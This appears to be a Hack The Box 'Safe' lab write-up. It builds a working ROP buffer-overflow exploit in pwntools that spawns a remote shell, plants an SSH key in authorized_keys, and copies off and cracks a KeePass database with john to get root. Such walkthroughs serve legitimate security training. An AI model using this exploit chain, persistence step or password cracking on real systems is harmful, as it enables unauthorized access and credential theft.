What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAF AAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AA OAAkAAPAAlAAQAAmAARAAoAA AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A AJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAH AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAA RAAoAA\n") RDI: 0x0 RBP: 0x41414e4141384141 ('AA8AANAA') RSP: 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") RIP: 0x4011ac (<main+77>: ret) R8 : 0x97 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow ) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAA") 0008| 0x7fffffffe470 ("AkAAPAAlAAQAAmAARAAoAA") 0016| 0x7fffffffe478 ("AAQAAmAARAAoAA") 0024| 0x7fffffffe480 --> 0x41416f414152 ('RAAoAA') 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x86bef1715ff44e13 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main () gdb-peda$ pattern offset AA8AANAA AA8AANAA found at offset: 112

If we repeat, with 112 junk characters, and our string we see that the value of RBP is our string just before the crash.

gdb-peda$ r
Starting program: /opt/HTB/Machines/Safe/myapp
[Detaching after vfork from child process 7198]
 09:43:34 up 12:24,  6 users,  load average: 0.02, 0.02, 0.00

What do you want me to echo back? AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shUDDDDDDDDDDDDDDDD AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shUDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7eda7e4 (<__GI___libc_write+20>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7fab580 --> 0x0 RSI: 0x4052a0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAi/bin/shU", 'D' <repeats 16 times>, "\n") RDI: 0x0 RBP: 0x5568732f6e69622f ('/bin/shU') RSP: 0x7fffffffe468 ('D' <repeats 16 times>) RIP: 0x4011ac (<main+77>: ret) R8 : 0x89 R9 : 0x0 R10: 0x4003e0 --> 0x6972700073747570 ('puts') R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffe540 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4011a1 <main+66>: call 0x401030 <puts@plt> 0x4011a6 <main+71>: mov eax,0x0 0x4011ab <main+76>: leave => 0x4011ac <main+77>: ret 0x4011ad: nop DWORD PTR [rax] 0x4011b0 <__libc_csu_init>: push r15 0x4011b2 <__libc_csu_init+2>: mov r15,rdx 0x4011b5 <__libc_csu_init+5>: push r14 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe468 ('D' <repeats 16 times>) 0008| 0x7fffffffe470 ("DDDDDDDD") 0016| 0x7fffffffe478 --> 0x7fffffffe500 --> 0x0 0024| 0x7fffffffe480 --> 0x100040000 0032| 0x7fffffffe488 --> 0x40115f (<main>: push rbp) 0040| 0x7fffffffe490 --> 0x0 0048| 0x7fffffffe498 --> 0x834716195894c84 0056| 0x7fffffffe4a0 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004011ac in main ()

Gadget R13

u505@kali:~/HTB/Machines/Safe$ ropper -f myapp | grep r13
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x0000000000401204: pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401206: pop r13; pop r14; pop r15; ret;
0x0000000000401203: pop rbp; pop r12; pop r13; pop r14; pop r15; ret;
0x0000000000401205: pop rsp; pop r13; pop r14; pop r15; ret;

The address 0x401206 is a good candidate to control the value of the register R13.

Strategy

We send 112 junk characters, our string "/bin/sh", call rop gadget (0x401206), address of system (pop R13), Null (pop R14), Null (pop R15), call test. Test will push RBP (our string to RDI) and Jump to R13, witch contains the address of system.

u505@kali:~/HTB/Machines/Safe$ cat exploit.py
#!/usr/bin/python
from pwn import *

#context(log_level='DEBUG')
#p = process ("./myapp") p = remote ("10.10.10.147",1337) #raw_input(str(p.proc.pid))
#0x0000000000401206: pop r13; pop r14; pop r15; ret; popr13r14r15=0x0000000000401206 systemplt=0x401040 test=0x0000000000401152 binshstr="/bin/sh\x00"
junk = (120-len(binshstr))*'A'
payload = junk + binshstr + p64(popr13r14r15) + p64(systemplt) + p64(0x0) + p64(0x0) + p64(test) + "\n" data1 = p.recvline() log.info("data1 %s" % data1) log.info("Send payload") p.send(payload)
p.interactive()

Exploit execution

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  10:01:21 up  2:06,  0 users,  load average: 0.00, 0.00, 0.00
[*] Send payload
[*] Switching to interactive mode
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
$ exit
$ exit
[*] Closed connection to 10.10.10.147 port 1337
[*] Got EOF while sending in interactive

User flag

With the exploit, we gain a shell to the machine (It seems easy with the solution, isn't it?), and see the user flag.

u505@kali:~/HTB/Machines/Safe$ python exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] data1  07:23:52 up 2 min,  0 users,  load average: 0.01, 0.01, 0.00
[*] Send payload
[*] Switching to interactive mode
$ cat /home/user/user.txt
<USER_FLAG>

But a better way is to gain a proper ssh shell.

Generate RSA key

u505@kali:~/HTB/Machines/Safe$ ssh-keygen -f id_rsasafe
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsasafe.
Your public key has been saved in id_rsasafe.pub.
The key fingerprint is:
SHA256:/BH2m3rABmNQLhw6AqpHq8+UcrkjCfvLpjjohXMGDg0 u505@kali
The key's randomart image is:
+---[RSA 3072]----+
|.     ...        |
|..   o.o         |
|E o o o.. o      |
|.+ o . o+. o     |
|o.+    .S+. .    |
|+ooo     .+. o   |
|=*=+     ...o    |
|BBB.       ..    |
|+BBo      ..     |
+----[SHA256]-----+

Add the authorize key to the target server

u505@kali:~/HTB/Machines/Safe$ cat id_rsasafe.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvqE3T1cDPGfcROcYTVCl41DZOQ1pPc4wrdyoLFnFLelujcQJbRyC4S+aCZYF9n/FFy6xvblYfpE34f3jFYHPGbDhKItx8fgn04tmyvdq7hQCWF/MtajlooXwi4o+NDB5QGSXHuDpH/JcGAkcQUD+24oEAdDOQki4ApAT4CNICKrsbmTGVbcnYPzC6vElLTbAabqqupF8183rH0uR6Oj3zPFJze7qFwlvuaqbBAtMR+s5z4buexvDxtWkznYT3ZwNvUWKXV/YBi149abFzKnG2/mrfzlPpgx/plR9C7oRPI2K0hmtJc1JZj72500Gs2KnHltbZLWK5c/HsVtjZ1re84TSqRT30MZR/dT4u5Zhgq9odjM37/KYBYGqkRljWNj9K9bRukjke3LE43iDPyWjiCS7vm7vXaeErsM+GYwQt2uzUuap5M11rWkX9wCHgCguGoCk8luwRNjk+sJZ2XtjEVSI47TziJ+Q+9IP+2NQq80kZ8+yG1mXb43ozL0RDWtM= u505@kali

From the target

$ echo -n "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCvqE3T1cDPGfcROcYTVCl41DZOQ1pPc4wrdyoLFnFLelujcQJbRyC4S+aCZYF9n/FFy6xvblYfpE34f3jFYHPGbDhKItx8fgn04tmyvdq7hQCWF/MtajlooXwi4o+NDB5QGSXHuDpH/JcGAkcQUD+24oEAdDOQki4ApAT4CNICKrsbmTGVbcnYPzC6vElLTbAabqqupF8183rH0uR6Oj3zPFJze7qFwlvuaqbBAtMR+s5z4buexvDxtWkznYT3ZwNvUWKXV/YBi149abFzKnG2/mrfzlPpgx/plR9C7oRPI2K0hmtJc1JZj72500Gs2KnHltbZLWK5c/HsVtjZ1re84TSqRT30MZR/dT4u5Zhgq9odjM37/KYBYGqkRljWNj9K9bRukjke3LE43iDPyWjiCS7vm7vXaeErsM+GYwQt2uzUuap5M11rWkX9wCHgCguGoCk8luwRNjk+sJZ2XtjEVSI47TziJ+Q+9IP+2NQq80kZ8+yG1mXb43ozL0RDWtM= u505@kali" >> /home/user/.ssh/authorized_keys
$ chmod 600 /home/user/.ssh/authorized_keys

SSH shell

u505@kali:~/HTB/Machines/Safe$ ssh -i id_rsasafe user@safe.htb
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. user@safe:~$ cat user.txt <USER_FLAG>

Escalation of privileges

In the user folder, there is several images, and a keepass file (KeePass, free, open source, light-weight and easy-to-use password manager).

user@safe:~$ ls -ltr
total 11260
-rwxr-xr-x 1 user user   16592 May 13  2019 myapp
-rw------- 1 user user      33 May 13  2019 user.txt
-rw-r--r-- 1 user user 1907614 May 13  2019 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13  2019 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13  2019 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13  2019 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13  2019 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13  2019 IMG_0553.JPG
-rw-r--r-- 1 user user    2446 May 13  2019 MyPasswords.kdbx
user@safe:~$ file MyPasswords.kdbx
MyPasswords.kdbx: Keepass password database 2.x KDBX

We download these files.

u505@kali:/opt/HTB/Machines/Safe$ scp -i id_rsasafe user@safe.htb:/home/user/*.JPG ./
IMG_0545.JPG                                    100% 1863KB   4.5MB/s   00:00
IMG_0546.JPG                                    100% 1872KB  11.0MB/s   00:00
IMG_0547.JPG                                    100% 2470KB  11.0MB/s   00:00
IMG_0548.JPG                                    100% 2858KB   9.9MB/s   00:00
IMG_0552.JPG                                    100% 1099KB   9.9MB/s   00:00
IMG_0553.JPG                                    100% 1060KB   9.1MB/s   00:00
u505@kali:/opt/HTB/Machines/Safe$ scp -i id_rsasafe user@safe.htb:/home/user/MyPasswords.kdbx ./
MyPasswords.kdbx                                100% 2446    52.8KB/s   00:00

The image file files are landscape pictures. But they surely have been used as key file in combination with password to encrypt the password file.

Crack the keepass database

The keepass2john utility allows to extract the hash suitable for john

u505@kali:/opt/HTB/Machines/Safe$ keepass2john
Usage: keepass2john [-k <keyfile>] <.kdbx database(s)>
u505@kali:~/HTB/Machines/Safe$ ls *.JPG | while read img
> do
> keepass2john -k $img MyPasswords.kdbx | sed "s/^MyPasswords/$img/" >> keepassjohn.txt
> done

We create the john file, but we subtitude the filename (MyPasswords) by the image filename to know witch image is the correct key.

u505@kali:~/HTB/Machines/Safe$ john -w=/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt keepassjohn.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit         (IMG_0547.JPG)
1g 0:00:00:19 0.01% (ETA: 2020-03-01 04:38) 0.05133g/s 68.99p/s 404.1c/s 404.1C/s teacher..realmadrid
Use the "--show" option to display all of the cracked passwords reliably
Session aborted

We abort the crack once the password is found, because the other 5 hashes will never been found (and the ETA is several days).

Root password

The password and the image file allows us to open the password manager.

Safe07.png

There is only one entry, root password

Safe08.png


Safe09.png

Root Flag

user@safe:~$ su - root
Password:
root@safe:~# whoami
root
root@safe:~# cat /root/root.txt
<ROOT_FLAG>

References

Daniel Simao 21:23, 25 February 2020 (EST)